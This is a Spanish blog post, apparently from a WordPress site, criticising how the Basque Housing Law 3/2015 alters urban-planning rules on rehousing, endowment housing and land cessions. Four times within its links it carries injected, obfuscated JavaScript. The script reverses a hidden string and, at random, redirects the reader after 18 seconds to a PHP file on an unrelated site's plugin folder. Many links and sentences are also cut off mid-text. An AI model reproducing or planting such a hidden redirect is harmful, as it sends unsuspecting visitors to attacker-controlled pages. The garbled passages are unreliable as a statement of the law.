Ley vasca de Vivienda (3): Problemas que no creeríais…

La Ley de Vivienda no se ha limitado a tratar la problemática de vivienda o los aspectos de vivienda de la normativa sobre urbanismo y suelo sino que se ha abierto paso incidiendo en el marco normativo de la acción urbanística más de lo que se desprende de su título.

Los urbanistas tenemos que manejar normas de diversas procedencia (del estado, autonómicas, municipales), que abordan las cuestiones desde distintas perspectivas (general o sectorial) o que utilizan distintas técnicas (condiciones básicas, legislación básica, bases…); el resultado es una masa informe gracias a la cual la resolución de cualquier problema, incluso menor, lleva indefectiblemente a cuestiones generales, colaterales…, en definitiva, a problemas mayores. Como cuando quieres probar un bocado de esos espaguetis con tan buena pinta que tiene el vecino de mesa y acabas atragantándote.

espaguetis

Propuesta de icono para el sistema normativo del urbanismo

Parece que el legislador no es consciente de los efectos que se producen en el sistema cada vez que se toca un pilar de la estructura normativa. Es más, se considera omnipotente y omnisciente y que puede ir quitando pilares a capricho, como dicen aquellos alegres combatientes, “sí se puede”. La Ley 3/2015 de Vivienda del País Vasco no es una excepción y ha querido dejar su impronta modificando numerosos aspectos de la normativa urbanística y de suelo, por lo que, dejándonos llevar por los efectos de la ola de calor (o será algo más que una ola?), hemos titulado este post parafraseando aquello tan mítico de I’ve seen things you wouldn’t believe…

1. Modificaciones expresas de la A. La tos/2015/06/1502853a.pdf#page=66″ target=”_blank”>Disposición Adicional Quinta da una nueva redacción al 
  • Art. 27.2: Se sustituye “la misma” por “ella”: “…ordenación urbanística anterior, salvo que hubiesen vencido los plazos de ejecución establecidos en la misma ella o, en su defecto…“.
  • Art. 27.3: Se prescinde de la mayúscula diacrítica: “parcela o parcelas edificables que habrán de quedar en todo caso adscritas al Patrimonio Municipal de Suelo patrimonio municipal de suelo“.
  • Art. 27.4: Se suprime, desapareciendo la obligación de afectar a VPP las parcelas obtenidas por cesión, lo que producía efectos perversos en ciertas situaciones.
  • Art. 27.5, que pasa a ser 27.4: Se añade al apartado la posibilidad de que la cesión gratuita de edificabilidad se materialice en viviendas construidas: “podrá sustituirse por el abono en metálico de su valor, importe que en todo caso quedará adscrito al correspondiente patrimonio público de suelo, o por las viviendas correspondientes a su valor“.
  • A pesar de la supresión del apartado 4, se mantiene la frase inicial del antiguo apartado 5 (“No obstante lo dispuesto en el párrafo anterior“), por lo que ahora pasa a referirse al apartado 3.

    La adición al art. 27.5 (que pasa a ser 27.4) tiene por objeto permitir la permuta de cuota de solar por viviendas acabadas (parece que la nueva estrategia básica para la gestión del Patrimonio Municipal de Suelo es permutar suelo por construcción). En el caso de la adjudicación de viviendas en la reparcelación, constituye una novedad contraria al esencia de la reparcelación por cuanto ésta es de parcelas y no de elementos privativos de la futura obra nueva, lo que requiere ajustes adicionales.

    La ocurrencia tiene el inconveniente de que la fijación del precio se producirá al margen de cualquier mecanismo o principio de la legislación de contratos (?).

    Es una pena que no se haya aprovechado la ocasión para cohonestar la regulación de la monetización de la cesión gratuita de edificabilidad, posibilitada por el tos normales por el tonómico.

    B. La tos/2015/06/1502853a.pdf#page=66″ target=”_blank”>Disposición Adicional Sexta modifica el apartado relativo a la definición de la edificabilidad física (cuadro cuadrado de suelo“.
  • Se añade al apartado 2, sobre edificabilidad física: “En estos supuestos, cuando sea necesario realizar obras para la mejora de la envolvente o para cumplir los requisitos de accesibilidad o las condiciones mínimas de habitabilidad de un edificio preexistente, a tenor de la normativa vigente, dichas obras no computarán a efectos de incremento de edificabilidad, ni se considerará que se han incumplido los parámetros de edificabilidad recogidos en la ordenación urbanística correspondiente“.
  • La ubicación de la determinación no resulta adecuada porque debería incluirse en el precepto que regule los efectos del incremento de edificabilidad y no en el que define la edificabilidad física.

    Parece que la expresión “En estos supuestos…” se refiere a los indicados en la frase anterior del art. 35.2 (“Cuando se trate de solares, parcelas o edificaciones existentes…“), con lo que una solución razonable en el caso de la edificación existente se extiende a “solares” y a “parcelas”, lo que carece de fundamento cuando no estén edificados.

    C. La tos/2015/06/1502853a.pdf#page=67″ target=”_blank”>Disposición Adicional Séptima modifica el 
  • En los apartados 2 (suelo urbano) y 3 (suelo urbanizable) se sustituyen las denominaciones de acuerdo con lo regulado en la propia Ley de Vivienda (tos/2015/06/1502853a.pdf#page=21″ target=”_blank”>art. 21): donde se dice “viviendas de protección oficial de régimen general y especial” pasará a decir “viviendas de protección social” y donde se dice “viviendas de protección oficial de régimen tasado” pasa a decir “viviendas tasadas”. También en consonancia con el tos/2015/06/1502853a.pdf#page=21″ target=”_blank”>art. 21, se suprime la frase final de ambos apartados que permite sustituir la vivienda de protección oficial de régimen tasado por la Vivienda Tasada Municipal.
  • Se incluye un nuevo apartado 4: “La distribución espacial de la edificabilidad urbanística residencial destinada a las viviendas de protección pública a que se refieren los dos párrafos anteriores de este artículo debe materializarse en el conjunto de la edificabilidad urbanística residencial protegida que resulte en cada área, sector o unidad de ejecución, de forma que se contribuya a la cohesión social con la mezcla de usos diferentes, así como de regímenes protectores y modos legales de tenencia y disfrute distintos en las unidades edificatorias colectivas resultantes“, que incorpora los criterios generales a la norma con rango de ley. En consecuencia, los apartados 4, 5 y 6 pasarán a ser 5, 6 y 7, respectivamente.
  • En el actual apartado 5 (que será 6), relativo a la exención de VPP en unidades de ejecución pequeñas, se suprime el punto final: “Las viviendas resultantes de dicha unidad de ejecución se deberán destinar a viviendas de régimen tasado municipal“. ¿Implicará esto la derogación del tos/2012/07/1203380a.pdf#page=13″ target=”_blank”>art. 13 DEU?
  • En el actual apartado 6 (que será 7), en el apartado final relativo a las transferencias de VPP, se suprime el inciso final: “será requisito imprescindible para autorizar dicha transferencia que se garantice, en el momento de la realización de dicha solicitud, la ejecución previa o simultánea del mismo un número de viviendas de protección pública proporcional a la diferencia de valores entre las viviendas libres de los ámbitos objeto de la transferencia“. Supresión que es de agradecer por las disfunciones que comporta.
  • D. La tos/2015/06/1502853a.pdf#page=65″ target=”_blank”>Disposición Derogatoria Segunda deroga el Este aspecto fue examinado en el anterior post de esta serie: tos-urbanos-y-rurales/” target=”_blank”>Ley vasca de Vivienda (2): Edificación y conjuntos urbanos y rurales

    E. La tos/2015/06/1502853a.pdf#page=67″ target=”_blank”>Disposición Adicional Octava modifica la La toria hasta la promulgación de la, entonces, futura Ley de Vivienda. La nueva redacción adecua el contenido de la disposición a la Ley.

    No alcanzamos a entender el sentido de que la  tos/2015/06/1502853a.pdf#page=65″ target=”_blank”>Disposición Derogatoria Segunda derogue la $NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Vasco) 3/2015 de Vivienda” href=”https://www.euskadi.eus/r48-bopv2/es/bopv2/datos/2015/06/1502853a.pdf#page=67″ target=”_blank”>Disposición Adicional Octava) se le de un nueva redacción. ¿Tendrá algún efecto este proceder?

    F. La tos/2015/06/1502853a.pdf#page=65″ target=”_blank”>Disposición Derogatoria Segunda deroga la tos Dotacionales

    La supresión viene motivada porque la Ley de Vivienda ya regula los Alojamientos Dotacionales haciendo innecesaria la disposición derogada.

    2. El derecho al realojo

    Actualmente los derechos de realojo, retorno y reinstalación están regulados (por orden de aparición):

    La regulación del derecho recogida en la L3R difiere sustancialmente de la tradicional (recogida en el $NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Vasco) 2/2006 de Suelo y Urbanismo” href=”https://www.boe.es/buscar/act.php?id=BOE-A-2011-17400#dasegunda” target=”_blank”>DA2 LvSU y sus normas de desarrollo). Las novedades más significativas son:

    • En expropiación el justiprecio y el realojo son incompatibles, correspondiendo optar al realojado.
    • El derecho de retorno de los arrendatarios afectados por actuaciones aisladas no expropiatorias, es por el tiempo que reste del contrato.
    • El derecho de realojamiento es intransferible.
    • Se debe ofrecer una vivienda en el ámbito o lo más próximo al mismo.

    La relación entre el régimen jurídico de las actuaciones 3R y las actuaciones normales del to al derecho de realojo nos parece claro que en las actuaciones de Rehabilitación Edificatoria y en las de Regeneración y Renovación Urbanas, el régimen de realojo es el previsto en el art. art. 14 L3R (por tratarse de determinación tanto especial como posterior) y que esta regulación no sería de aplicación en las actuaciones normales.

    El tos/2015/06/1502853a.pdf#page=28″ target=”_blank”>art. 34, incluido en el tos/2015/06/1502853a.pdf#page=23″ target=”_blank”>Capítulo VI “Régimen Jurídico de las viviendas de protección pública y los alojamientos dotacionales“, es aplicable a los desalojos que sean consecuencia de “una actuación expropiatoria o una actuación de rehabilitación, regeneración o renovación urbana” (tos/2015/06/1502853a.pdf#page=28″ target=”_blank”>art. 34.1) con la siguiente regulación:

    • Para su reconocimiento se requiere, además del carácter de vivienda habitual de la vivienda desalojada, que el desalojado se encuentre en situación de necesidad (definida en el tos/2015/06/1502853a.pdf#page=14″ target=”_blank”>art. 8). Este nuevo requisito carece de cobertura en la normativa básica del estado.
    • En expropiación se pondrá a disposición al menos dos viviendas de características similares y “en el emplazamiento más próximo“.
    • El realojo se producirá en vivienda protegida cuando la vivienda desalojada sea habitual y permanente, en los demás casos podrá ser en vivienda libre. Parece claro que cuando no sea vivienda “habitual y permanente” no existe el derecho al realojo y el derecho a la vivienda libre ya existe en la to.

    El tos/2015/06/1502853a.pdf#page=37″ target=”_blank”>art. 50, incluido en el  tos/2015/06/1502853a.pdf#page=23″ target=”_blank”>Capítulo VII “Intervención en la edificación y en los conjuntos urbanos y rurales” y que es de aplicación a los desalojos que sean consecuencia de “actuaciones de rehabilitación, regeneración y renovación urbana” (tos/2015/06/1502853a.pdf#page=37″ target=”_blank”>art. 50.1), reproduce básicamente el art. 14 L3R, por lo que el régimen de estas pasa a ser de aplicación a todas las actuaciones dado que la descripción es omnicomprensiva (“rehabilitación, regeneración y renovación urbanas“) o ¿habrá que entender que se refiere a lo mismo que la L3R y que es una repetición inútil? ¿Como juega el requisito de necesidad de vivienda del tos/2015/06/1502853a.pdf#page=28″ target=”_blank”>art. 34 no mencionado en el tos/2015/06/1502853a.pdf#page=37″ target=”_blank”>art. 50? Por otra parte, las to-de-nuevo-trlsr/” target=”_blank”>versiones conocidas del futuro L3R a todos los realojos.

    3. Alojamientos dotacionales

    Los alojamientos dotacionales están regulados actualmente en los $NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Vasco) 2/2006 de Suelo y Urbanismo” href=”https://www.boe.es/buscar/act.php?id=BOE-A-2011-17400#a81″ target=”_blank”>81 y $NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to (Gobierno Vasco) 105/2008 de Medidas Urgentes…” href=”http://www.euskadi.eus/bopv2/datos/2008/06/0803809a.pdf#page=20″ target=”_blank”>29 DvMU y tos/2012/07/1203380a.pdf#page=15″ target=”_blank”>16tos/2012/07/1203380a.pdf#page=16″ target=”_blank”>18 DEU.

    La tos/2015/06/1502853a.pdf” target=”_blank”>Ley de Vivienda  refuerza esta figura (tos/2015/06/1502853a.pdf#page=3″ target=”_blank”>EM.II.7º) y, como ya adelantábamos en el todavia/” target=”_blank”>primer post de esta serie, desaprovecha la posibilidad prevista en el to dotacional está muy marcado por la finalidad oficial perseguida con su creación de reducir la demanda de vivienda en épocas de importante calentamiento de la demanda, por lo que la complejidad y artificiosidad de su delimitación conceptual en cuanto al deslinde con el uso residencial se encuentra en su ADN. La apuesta por esta figura agrava las incoherencias derivadas del carácter mixto equipamiento-residencial. Se aclara que, como no son vivienda, no se tienen en cuenta para los límites de edificabilidad o los estándares, suponemos que tampoco para la cuantificación residencial, aunque si son vivienda a los efectos de la normativa técnica (tos/2015/06/1502853a.pdf#page=9″ target=”_blank”>arts. 3.a y tos/2015/06/1502853a.pdf#page=22″ target=”_blank”>23.6). Se admite su ubicación en suelos con calificación de alojamiento dotacional o en suelos genéricos de equipamiento; así mismo, podrán ubicarse en edificaciones de titularidad pública (tos/2015/06/1502853a.pdf#page=9″ target=”_blank”>art. 23.2, que utiliza la expresión “edificaciones o locales preexistentes“!?). En el colmo del paroxismo, se admite también el uso residencial de cualquier edificio o local, incluso privado, con tal de que le llamemos alojamiento dotacional, se califique de provisional y cuente con la “debida declaración efectuada por el órgano competente en materia de vivienda del Gobierno Vasco” (tos/2015/06/1502853a.pdf#page=22″ target=”_blank”>art. 24.3); recordareis que el to, cosa que esta ley especial habilita. ¿Esta norma sectorial tiene la naturaleza de “legislación territorial y urbanística” que exige el Resulta alarmante el desprecio del legislador por conceptos constitutivos de la ciencia urbanística como la calificación (to’ para que podamos destinar a uso residencial cualquier edificio de titularidad pública sin respetar principios esenciales como el equilibrio entre usos residenciales y dotaciones… Los alojamientos dotacionales fueron una ocurrencia fruto de dos circunstancias: la voluntad de un responsable político de ofertar uso residencial dentro de su mandato y la falta de respeto al plan vigente (en realidad, al estado de derecho). Si 1000 viviendas requieren 10.000 m² para EGB, podemos hacer trampa y destinar el terreno escolar a incrementar el número de viviendas, basta con que llamemos a las viviendas alojamiento dotacional; sin embargo, sigue siendo pecado mortal que un privado intente enajenar acciones de la sociedad titular de unos apartamentos tutelados. Perdón por el desahogo.

    La confusión conceptual y el uso tramposo de la ley se agrava con la utilización del lenguaje. En numerosas ocasiones se utiliza la expresión “Vivienda o alojamiento” sin el calificativo de “dotacional” provocándose la duda de si se refiere a cualquier alojamiento no dotacional distinto de vivienda o si es una forma abreviada de referirse al alojamiento dotacional (p.ej.,  tos/2015/06/1502853a.pdf#page=11″ target=”_blank”>arts. 3.v y w), en otros pasajes se utiliza la expresión “alojamiento protegido”. No es que se confunda al aplicador de la norma sino que es tal el batiburrillo que el propio redactor se confunde: p. ej., en el tos/2015/06/1502853a.pdf#page=56″ target=”_blank”>art. 84.l  se llega a sancionar la publicidad de venta sin previa aprobación del folleto de alojamientos dotacionales, siendo imposible la venta por estar afectos al servicio público (tos/2015/06/1502853a.pdf#page=9″ target=”_blank”>art. 3.a). Dos últimas muestras dignas de pasar a la recopilación de legislación sectorial aberrante:

    • El tos/2015/06/1502853a.pdf#page=22″ target=”_blank”>art. 32.3 permite descalificar las Viviendas protegidas para destinarlas a “usos provisionales, de equipamiento, de alojamiento dotacional u otros que se consideren oportunos“.
    • Sabéis que desde la STC 94/2014  no cabe la adscripción de sistemas generales. No sabemos si es que el legislador no se ha enterado de esta sentencia o si, siendo consciente de la gravedad del problema generado, ha optado por resolverlo sólo para los alojamientos dotacionales, que a partir de la entrada en vigor de la Ley de Vivienda si podrán adscribirse a actuaciones integradas (tos/2015/06/1502853a.pdf#page=23″ target=”_blank”>art. 24.1).

    4. Régimen del suelo urbano no consolidado

    La to a calificación de dotaciones y cesión de las mismas y en cuanto a la cesión gratuita de edificabilidad.

    Categorías

    LvSU: Categorías de suelo urbano y cesiones

    El tos/2012/07/1203380a.pdf#page=9″ target=”_blank”>art. 6.3 DEU determina los estándares dotacionales del suelo urbano no consolidado en función del incremento de edificabilidad urbanística, salvo la dotación local de zonas verdes que se establece en proporción a la superficie del ámbito.

    Ya hemos visto con ocasión del examen de la tos/2015/06/1502853a.pdf#page=66″ target=”_blank”>Disposición Adicional Sexta, que da una nueva redacción al precepto relativo a la edificabilidad física (tos de edificabilidad (“cuando sea necesario realizar obras para la mejora de la envolvente o para cumplir los requisitos de accesibilidad o las condiciones mínimas de habitabilidad“) no se tienen en cuenta (“no computarán a efectos de incremento de edificabilidad, ni se considerará que se han incumplido los parámetros de edificabilidad recogidos en la ordenación urbanística correspondiente“). Esta determinación desarrolla el art. 10.3 L3R y resuelve la cuestión negando en origen que exista incremento de edificabilidad.

    La determinación se reproduce en el tos/2015/06/1502853a.pdf#page=22″ target=”_blank”>art. 49.3 en términos análogos pero no idénticos, pues además se refiere a otras intervenciones como la centralización de instalaciones o “sostenibilidad”, más amplias que “la mejora de la envolvente“. El tos/2015/06/1502853a.pdf#page=33″ target=”_blank”>art. 43.5 establece que “En estas actuaciones, cuando se prevea un incremento de la edificabilidad ponderada, no serán exigibles nuevas dotaciones públicas en proporción al citado aumento de edificabilidad“. Si el legislador pretendía fundirnos los plomos, touché. Y si no era su intención, también. Veamos:

    • En estas actuaciones” podría referirse a las descritas en el apartado inmediato anterior (tos/2015/06/1502853a.pdf#page=32″ target=”_blank”>art. 43.4: “actuación conjunta, que podrán tener carácter continuo o discontinuo, o se identifiquen las actuaciones que deban ejecutarse de manera aislada“), pero este apartado no define nada y nos reenvía directamente al apartado 2 (“áreas de renovación o de regeneración urbana, áreas de reforma interior, áreas de reforma urbana o cualesquiera otras categorías derivadas de la legislación urbanística y que tengan por objeto la rehabilitación del patrimonio edificado o la mejora del entorno urbanizado“), es decir a cualquier actuación en suelo urbano; sin embargo, no puede descartarse que el reenvío sea al apartado 3 (“declarados en estado de necesidad de rehabilitación“).
    • Resulta confusa la referencia al incremento de edificabilidad ponderada puesto que la exigencia de nuevas dotaciones públicas en la normativa vigente en ningún caso es por referencia al incremento de edificabilidad ponderada sino al incremento de edificabilidad urbanística (p.ej., el cambio de uso de un edificio residencial unifamiliar a residencial colectiva no comporta incremento del estándar dotacional salvo que se produzca incremento de edificabilidad urbanística). La interpretación estricta determinaría un absurdo, en este análisis de urgencia nos decantamos con todas las reservas por interpretar el precepto como si no dijera “ponderada”.
    • Observad que no se exime de la cesión gratuita de edificabilidad.

    Por último y con más contundencia, el tos/2015/06/1502853a.pdf#page=22″ target=”_blank”>art. 49.4 señala que “Si la intervención de rehabilitación produjera un aumento de la densidad o edificabilidad, este no comportaría nuevos deberes de entrega de suelo destinado a dotaciones y servicios ni rescate de plusvalías urbanísticas“.

    Llama la atención el cambio radical que se produce respecto a las dotaciones: El planeamiento determina los estándares adecuados que, como mínimo, deberán ser los establecidos por la normativa (estándares). La Ley de Vivienda no solo exime de los estándares a determinadas actuaciones (mediante la técnica de no computar ciertas edificabilidades) sino que exime a los propietarios de deberes de cesión (tos/2015/06/1502853a.pdf#page=32″ target=”_blank”>art. 43.4: “no serán exigibles nuevas dotaciones“, tos/2015/06/1502853a.pdf#page=22″ target=”_blank”>art. 49.4: “no comportaría nuevos deberes de entrega de suelo“).

    Hemos pasado de un nivel de cargas que impedía las actuaciones de renovación de la edificación (nuestras actuaciones de dotación tras la promulgación del tos/2012/07/1203380a.pdf” target=”_blank”>DEU) a un nivel de exención total y todo ello desde la ley y, en ambos casos, con determinaciones que no tienen en cuenta ni la calidad urbana resultante ni las plusvalías concretas que se produzcan. Puede decirse que la normativa autonómica deambula dando tumbos a no se sabe donde.

    Parece que los cambios son importantes aunque no resulta fácil clarificarlos. Lo vamos a intentar:

    CesionesLvVLa clave está en dos conceptos:

    1. Rehabilitación: Los tos/2015/06/1502853a.pdf#page=33″ target=”_blank”>arts. 43.5 y tos/2015/06/1502853a.pdf#page=22″ target=”_blank”>49.4 se refieren a rehabilitaciones que produzcan incrementos de edificabilidad, ¿qué es “rehabilitación”? El tos/2015/06/1502853a.pdf#page=10″ target=”_blank”>art. 3.o utiliza dos conceptos contradictorios (“devolverle las condiciones adecuadas para el uso a que se halla calificado“). ¿Sería rehabilitación cuando la famosa o el famoso al que encarguen un papel de joven en una película va al quirófano para quitarse las arrugas y, de paso, ponerse algo aquí y quitarse algo allí? ¿El edificio industrial calificado como residencial que se adapta a las condiciones exigidas para el nuevo uso se rehabilita o se reforma? ¿la reforma es compatible con devolver?
    2. Renovación, reforma urbana: El tos/2015/06/1502853a.pdf#page=32″ target=”_blank”>art. 43 se refiere a ellas junto con la “regeneración urbana” y la “reforma interior” con, posiblemente, el importante efecto de que “no serán exigibles nuevas dotaciones“. El tos/2015/06/1502853a.pdf#page=10″ target=”_blank”>art. 3.p define la renovación pero referida a edificios por lo que esta definición no sirve para aclarar el alcance de esta expresión. La locución de cierre de la enumeración del tos/2015/06/1502853a.pdf#page=33″ target=”_blank”>art. 43.5 nos releva de definir los términos particulares utilizados que tienen una función meramente descriptiva “o cualesquiera otras categorías derivadas de la legislación urbanística y que tengan por objeto la rehabilitación del patrimonio edificado o la mejora del entorno urbanizado” por lo que el tos/2015/06/1502853a.pdf#page=33″ target=”_blank”>art. 43.5 se aplicaría a cualquier intervención en el suelo urbano (incluso, por ejemplo, la recalificación de una zona industrial obsoleta como parque comercial).

    El cambio es radical, pues no solo no se aplicarían los estándares dotacionales locales y generales en suelo urbano sino que se utiliza la expresión prohibitiva de que “no serán exigibles nuevas dotaciones públicas”.

    Pues no puede ser ¿verdad? Será simple resistencia al cambio? No, verdad? ¿Una ley sectorial puede exonerar a los propietarios de la obligación de conformar la ciudad resultante? ¿Incluso cuando nada tenga que ver con la vivienda? ¿Dónde está el fallo?

    5. Patrimonios Públicos de Suelo

    La actual regulación del Patrimonio Municipal de Suelo responde al modelo de promoción pública de VPO en venta. Se trataba de que el PMS ingresará suelos y fondos que debía utilizarse para engrasar la promoción de viviendas protegidas en venta.

    Esta Ley de Vivienda prohíbe destinar recursos públicos a la vivienda protegida en venta (tos/2015/06/1502853a.pdf#page=66″ target=”_blank”>DF4), salvo durante los primeros cinco años (tos/2015/06/1502853a.pdf#page=14″ target=”_blank”>art. 7.4), y orienta la acción pública a la rehabilitación (tos/2015/06/1502853a.pdf#page=33″ target=”_blank”>arts. 43.3, tos/2015/06/1502853a.pdf#page=36″ target=”_blank”>art. 48 o el propio tos/2015/06/1502853a.pdf#page=14″ target=”_blank”>art. 7.4). Sin embargo, no se adecua la regulación del PMS a este giro radical.

    En el próximo post de esta serie analizaremos las consecuencias de esta nueva orientación de la gestión de políticas de suelo, urbanismo y vivienda y su incidencia en la normativa reguladora del PMS.

    No obstante, ya adelantamos que serían incompatibles con las nuevas determinaciones algunos de los destinos del PMS como es la de enajenar el parque de vivienda en alquiler por debajo de su valor (CAPV se permita la enajenación por debajo del valor de viviendas (tos/2015/06/1502853a.pdf#page=20″ target=”_blank”>art. 18.2.c), lo que claramente pugna con la prohibición de aplicar recursos públicos a la vivienda en propiedad.

    Otros

    Antes de dar por concluido el análisis y aunque el post ya es demasiado largo, apuntamos otras modificaciones, sin voluntad de agotar el tema:

    Una ley sectorial ha alterado la normativa urbanística, no sabemos si consciente o inconscientemente. En el caso de que la dotación de estándares se haya alterado en el sentido que apuntamos en el Epigrafe 4, la modificación supondría un cambio radical del modelo urbanístico y del estatuto básico de la propiedad inmobiliaria. En el próximo post recapitularemos analizando los efectos de este ley sobre la acción urbanística y el problema del acceso a la vivienda de los más necesitados.

    Más post sobre la Ley de Vivienda

    Próximo post: La ley vasca de Vivienda ( y 4): Recapitulación. Y recuerda el foro “Ley de Viviendas: Dudas y Dislates”.

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    Natxo Tejerina

    Licenciado en Derecho (Deusto, 1979). Abogado (Bilbao, 1980-1991), Profesor en los cursos de urbanismo del IVAP (1995-2020). Funcionario en diversos ayuntamientos desde 1991, actualmente en Urbanismo del Ayuntamiento de Barakaldo en periodo sabático.

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